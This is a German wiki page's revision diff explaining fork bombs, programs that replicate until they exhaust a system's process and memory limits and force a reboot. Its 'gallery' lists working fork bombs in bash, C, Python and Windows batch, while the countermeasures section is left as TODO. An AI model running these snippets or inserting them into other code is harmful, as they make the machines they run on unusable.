Unterschiede zwischen den Revisionen 1 und 2
Revision 1 vom 2006-04-06 08:44:52
Größe: 1343
Autor: anonym
Kommentar: erster inhalt zu selbstreplikatoren
Revision 2 vom 2006-04-06 13:14:32
Größe: 1424
Autor: anonym
Kommentar:
Gelöschter Text ist auf diese Art markiert. Hinzugefügter Text ist auf diese Art markiert.
Zeile 36: Zeile 36:
=== Python Forks ===
#/usr/bin/python
import os
while(1):
    os.fork()

Was sind das?

Fork-Bombs sind eine Unterkategorie von [http://en.wikipedia.org/wiki/Wabbit Wabbits], Programme deren einziges Ziel die massenhafte Selbstreplikation ist. In einer Endlosschleife wird fortlaufend eine Kopie des eigenen Programms erzeugt, welche wiederum eigene Kopien erzeugt usw. - dies geschieht solange, bis die Ressourcen des Compuersystems aufgebraucht sind.

Fork-Bombs speziell nutzen zur Replikation die Fork-Funktion (fork, engl. = Gabelung, Verzweigung).

Was bewirken sie?

Durch die rasante Selbstreplikation ist die maximal mögliche Zahl der simultan laufenden Prozesse schnell überschritten - somit können keine weiteren gestartet werden. Alle diese Kinder-Prozesse der Eltern-Fork-Bomb fressen Arbeitsspeicher und CPU-Leistung die damit anderen Prozessen fehlt. Dies führt von der Ausbremsung des gesamten Systems bis zur kompletten Unbenutzbarkeit (nix geht mehr). In diesem Fall ist ein kompletter Reboot des Systems die einzige Möglichkeit alle Instanzen der Fork-Bomb zu killen.

Gegenmassnahmen

TODO

Fork-Bomb Gallerie

Bash Bombs

:(){ :|:& };: (:(){ :|:;};:)

unter C

  • #include <unistd.h>

int main(void) {

  • while(1) {
    • fork();
    } return 0;

}

Python Forks

#/usr/bin/python import os while(1):

  • os.fork()

Batch-Datei unter Windoze

:s start %0 goto s

ForkBombs (zuletzt geändert am 2012-06-13 21:26:25 durch anonym)


Creative Commons Lizenzvertrag
This page is licensed under a Creative Commons Attribution-ShareAlike 2.5 License.